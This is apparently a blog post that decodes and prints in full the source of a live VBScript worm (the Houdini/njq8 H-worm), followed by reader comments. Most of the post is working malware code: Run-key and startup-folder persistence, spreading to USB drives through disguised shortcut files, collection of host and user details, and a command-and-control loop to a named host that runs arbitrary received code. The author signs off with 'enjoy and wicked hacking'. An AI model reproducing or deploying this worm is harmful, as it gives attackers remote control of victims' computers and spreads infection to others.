68|114|105|118|101|115|13|10|105|102|32|120|120|46|105|115|114|101|97|100|121|32|116|104|101|110|13|10|105|102|32|120|120|46|70|114|101|101|83|112|97|99|101|32|62|48|32|116|104|101|110|13|10|70|111|114|32|69|97|99|104|32|120|32|73|110|32|102|115|46|71|101|116|70|111|108|100|101|114|40|32|120|120|46|112|97|116|104|32|38|32|34|92|34|41|46|70|105|108|101|115|13|10|79|110|32|69|114|114|111|114|32|82|101|115|117|109|101|32|78|101|120|116|13|10|105|102|32|105|110|115|116|114|40|120|46|110|97|109|101|44|34|46|34|41|32|116|104|101|110|13|10|105|102|32|108|99|97|115|101|40|32|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|40|85|66|111|117|110|100|40|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|41|41|41|60|62|34|108|110|107|34|32|116|104|101|110|13|10|120|46|65|116|116|114|105|98|117|116|101|115|32|61|32|48|13|10|105|102|32|117|99|97|115|101|40|120|46|110|97|109|101|41|32|60|62|32|117|99|97|115|101|40|102|110|41|32|116|104|101|110|13|10|102|115|46|100|101|108|101|116|101|102|105|108|101|40|120|120|46|112|97|116|104|32|38|32|34|92|34|32|38|32|120|46|110|97|109|101|32|38|32|34|46|108|110|107|34|32|41|13|10|101|108|115|101|13|10|102|115|46|100|101|108|101|116|101|102|105|108|101|40|32|120|120|46|112|97|116|104|32|38|32|34|92|34|32|38|32|120|46|110|97|109|101|32|41|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|78|101|120|116|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|110|101|120|116|13|10|119|115|99|114|105|112|116|46|113|117|105|116|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|102|117|110|99|116|105|111|110|32|112|111|115|116|40|99|109|100|32|44|100|97|41|13|10|112|111|115|116|61|34|34|13|10|68|105|109|32|111|13|10|83|101|116|32|111|32|61|32|67|114|101|97|116|101|79|98|106|101|99|116|40|34|77|83|88|77|76|50|46|88|77|76|72|84|84|80|34|41|13|10|111|46|111|112|101|110|32|34|80|79|83|84|34|44|34|104|116|116|112|58|47|47|34|32|38|32|104|111|115|116|32|38|32|34|58|34|32|38|32|112|111|114|116|32|38|34|47|34|32|38|32|99|109|100|44|32|102|97|108|115|101|13|10|111|46|115|101|116|82|101|113|117|101|115|116|72|101|97|100|101|114|32|34|85|115|101|114|45|65|103|101|110|116|58|34|44|32|32|105|110|102|13|10|111|46|115|101|110|100|32|100|97|13|10|112|111|115|116|61|111|46|114|101|115|112|111|110|115|101|84|101|120|116|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|100|105|109|32|120|105|110|102|13|10|102|117|110|99|116|105|111|110|32|105|110|102|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|105|102|32|120|105|110|102|61|34|34|32|116|104|101|110|13|10|100|105|109|32|115|13|10|115|61|34|63|63|34|13|10|115|32|61|32|104|119|100|13|10|105|110|102|32|61|32|105|110|102|32|38|32|115|32|38|32|34|92|34|13|10|115|61|34|63|63|34|13|10|115|61|32|115|104|46|69|120|112|97|110|100|69|110|118|105|114|111|110|109|101|110|116|83|116|114|105|110|103|115|40|34|37|67|79|77|80|85|84|69|82|78|65|77|69|37|34|41|13|10|105|110|102|32|61|32|105|110|102|32|38|32|115|32|38|32|34|92|34|13|10|115|61|34|63|63|34|13|10|115|61|32|115|104|46|69|120|112|97|110|100|69|110|118|105|114|111|110|109|101|110|116|83|116|114|105|110|103|115|40|34|37|85|83|69|82|78|65|77|69|37|34|41|13|10|105|110|102|32|61|32|105|110|102|32|38|32|115|32|38|32|34|92|34|13|10|115|61|34|63|63|34|13|10|83|101|116|32|97|32|61|32|71|101|116|79|98|106|101|99|116|40|34|119|105|110|109|103|109|116|115|58|123|105|109|112|101|114|115|111|110|97|116|105|111|110|76|101|118|101|108|61|105|109|112|101|114|115|111|110|97|116|101|125|33|92|92|46|92|114|111|111|116|92|99|105|109|118|50|34|41|13|10|83|101|116|32|97|97|32|61|32|97|46|69|120|101|99|81|117|101|114|121|32|40|34|83|101|108|101|99|116|32|42|32|102|114|111|109|32|87|105|110|51|50|95|79|112|101|114|97|116|105|110|103|83|121|115|116|101|109|34|41|13|10|70|111|114|32|69|97|99|104|32|97|97|97|32|105|110|32|97|97|13|10|115|61|32|97|97|97|46|67|97|112|116|105|111|110|32|32|13|10|101|120|105|116|32|102|111|114|13|10|78|101|120|116|13|10|105|110|102|32|61|32|105|110|102|32|38|32|115|32|38|32|34|92|48|46|51|92|34|32|38|32|112|105|100|32|32|13|10|120|105|110|102|61|105|110|102|13|10|101|108|115|101|13|10|105|110|102|61|120|105|110|102|13|10|101|110|100|32|105|102|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|102|117|110|99|116|105|111|110|32|72|87|68|13|10|83|101|116|32|97|32|61|32|71|101|116|79|98|106|101|99|116|40|34|119|105|110|109|103|109|116|115|58|123|105|109|112|101|114|115|111|110|97|116|105|111|110|76|101|118|101|108|61|105|109|112|101|114|115|111|110|97|116|101|125|33|92|92|46|92|114|111|111|116|92|99|105|109|118|50|34|41|13|10|83|101|116|32|97|97|32|61|32|97|46|69|120|101|99|81|117|101|114|121|40|34|83|69|76|69|67|84|32|42|32|70|82|79|77|32|87|105|110|51|50|95|76|111|103|105|99|97|108|68|105|115|107|34|41|13|10|70|111|114|32|69|97|99|104|32|97|97|97|32|73|110|32|97|97|13|10|105|102|32|97|97|97|46|86|111|108|117|109|101|83|101|114|105|97|108|78|117|109|98|101|114|60|62|34|34|32|116|104|101|110|13|10|72|87|68|61|32|97|97|97|46|86|111|108|117|109|101|83|101|114|105|97|108|78|117|109|98|101|114|13|10|101|120|105|116|32|102|111|114|13|10|101|110|100|32|105|102|13|10|78|101|120|116|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|70|117|110|99|116|105|111|110|32|80|73|68|13|10|80|73|68|61|48|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|80|73|68|32|61|32|71|101|116|79|98|106|101|99|116|40|34|119|105|110|109|103|109|116|115|58|114|111|111|116|92|99|105|109|118|50|34|41|46|71|101|116|40|34|87|105|110|51|50|95|34|32|38|95|13|10|34|80|114|111|99|101|115|115|46|72|97|110|100|108|101|61|39|34|32|38|32|95|13|10|115|104|46|69|120|101|99|40|34|109|115|104|116|97|46|101|120|101|34|41|46|80|114|111|99|101|115|115|73|68|32|38|32|34|39|34|41|46|80|97|114|101|110|116|80|114|111|99|101|115|115|73|100|13|10|69|110|100|32|70|117|110|99|116|105|111|110|";

@f = split /\|/, $HOUDINI;

foreach $ch (@f) {
print chr($ch);
}

Perl is amazing :)

and here ladies and gentle ducks is the decrypted code, I have
formatted it to make it easier to read.

its a real vbs virus/worm please be careful.

'<[ coded bY njq8 ]>'
On Error Resume Next

dim sh ' shell
set sh = WScript.CreateObject("WScript.Shell")
dim fs ' filesystem
set fs = CreateObject("Scripting.FileSystemObject") 
dim host
host = "cupidon.zapto.org"
dim port
port = 999
dim DR
DR = sh.ExpandEnvironmentStrings("%temp%") & "\"
dim FN
FN = "Servieca.vbs"
dim fh
dim us
us = "~"
ins
dim spl
spl = "jnJnj"
dim i
i = 0

while true
dim a
a = ""
a = split(post("ready", ""), spl)
select case a(0)
case "exc"
dim sa
sa = a(1)
execute sa
case "uns"
uns
end select

wscript.sleep 4000
i = i + 1
if i> 2 then
i = 0
xins
end if
wend

function ins
on error resume next
us= sh.regread("HKCU\njq8")
if us="~" then
if lcase( mid(wscript.scriptfullname,2))=":\" &  lcase(fn) then
us="y"
sh.regwrite "HKCU\njq8",  us, "REG_SZ"
else
us="n"
sh.regwrite "HKCU\njq8",  us, "REG_SZ"
end if
end if
Err.Clear
fs.CopyFile wscript.scriptfullname,dr & fn ,true
set fh = fs.OpenTextFile( dr & fn, 8, false)
if  Err.Number>0 then
wscript.quit
end if
xins
end function

sub xins
on error resume next
sh.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn,  chrw(34) & dr & fn & chrw(34), "REG_SZ"
sh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn,  chrw(34) & dr & fn & chrw(34), "REG_SZ"
fs.copyfile wscript.scriptfullname,  CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true
for each xx in fs.Drives
if xx.isready then
if xx.FreeSpace >0 then
' Removable drive
if xx.drivetype=1 then
if fs.fileexists(xx.path & "\" & fn) then
fs.getfile(xx.path & "\"  & fn).Attributes=0
end if
fs.copyfile dr & fn , xx.path & "\"  & fn,true
For Each x In fs.GetFolder( xx.path & "\" ).Files
wscript.sleep 1
if instr(x.name,".") then
if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then
x.Attributes = 2
if ucase(x.name) <> ucase(fn) then
With sh.CreateShortcut(xx.path & "\"  & x.name & ".lnk") 
.TargetPath = "cmd.exe"
.WorkingDirectory = ""
.Arguments = "/c start " & Replace(fn," ", ChrW(34) _
& " " & ChrW(34)) & "&start " & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & " & exit"
.IconLocation = sh.regread("HKLM\SOFTWARE\Classes\" & sh.regread("HKLM\SOFTWARE\Classes\." & Split(x.name, ".")(UBound(Split(x.name, "."))) & "\") & "\DefaultIcon\")
if instr( .iconlocation,",")=0 then
.iconlocation = .iconlocation &",0"
end if
.Save()
end with
end if
end if
end if
Next
end if
end if
end if
next
Err.Clear
end sub

function uns
on error resume next
fh.close
sh.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn
sh.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn
fs.DeleteFile dr & fn ,true
fs.DeleteFile CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true
for each xx in fs.Drives
if xx.isready then
if xx.FreeSpace >0 then
For Each x In fs.GetFolder( xx.path & "\").Files
On Error Resume Next
if instr(x.name,".") then
if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then
x.Attributes = 0
if ucase(x.name) <> ucase(fn) then
fs.deletefile(xx.path & "\" & x.name & ".lnk" )
else
fs.deletefile( xx.path & "\" & x.name )
end if
end if
end if
Next
end if
end if
next
wscript.quit
end function

function post(cmd ,da)
post = ""
Dim o
Set o = CreateObject("MSXML2.XMLHTTP")
o.open "POST","http://" & host & ":" & port &"/" & cmd, false
o.setRequestHeader "User-Agent:",  inf
o.send da
post = o.responseText
end function

dim xinf
function inf
on error resume next
if xinf="" then
dim s
s = "??"
s = hwd
inf = inf & s & "\"
s = "??"
        s = sh.ExpandEnvironmentStrings("%COMPUTERNAME%")
inf = inf & s & "\"
s = "??"
s = sh.ExpandEnvironmentStrings("%USERNAME%")
inf = inf & s & "\"
s = "??"
Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set aa = a.ExecQuery ("Select * from Win32_OperatingSystem")
For Each aaa in aa
s = aaa.Caption  
exit for
Next
inf = inf & s & "\0.3\" & pid  
xinf = inf
else
inf = xinf
end if
end function

function HWD
Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set aa = a.ExecQuery("SELECT * FROM Win32_LogicalDisk")
For Each aaa In aa
if aaa.VolumeSerialNumber<>"" then
HWD = aaa.VolumeSerialNumber
exit for
end if
Next
end function

Function PID
PID = 0
on error resume next
PID = GetObject("winmgmts:root\cimv2").Get("Win32_" &_
"Process.Handle='" & _
sh.Exec("mshta.exe").ProcessID & "'").ParentProcessId
End Function

to keep a list of infected systems njq8 sends calls ready on
cupidon.zapto.org port 999


enjoy and wicked hacking.

7 comments:

  1. houdini :

    crypted by me , new mod vesion relaise - v3 - , worm in .exe now and it clean

    ReplyDelete
  2. I have not gotten a hint of it yet mind uploading one for me :)

    ReplyDelete
  3. laudarch, can you post the hash of this sample? Thanks!

    ReplyDelete
    Replies
    1. lol, sorry no hash for you. I like wild roots don't like AVs :(

      Delete
  4. http://www.fireeye.com/blog/technical/threat-intelligence/2013/09/now-you-see-me-h-worm-by-houdini.html

    ReplyDelete
  5. There is even an easier way how to get the code: just comment out the execute global and instead of it, code a vbs simple line to write NJ into a file... voila

    ReplyDelete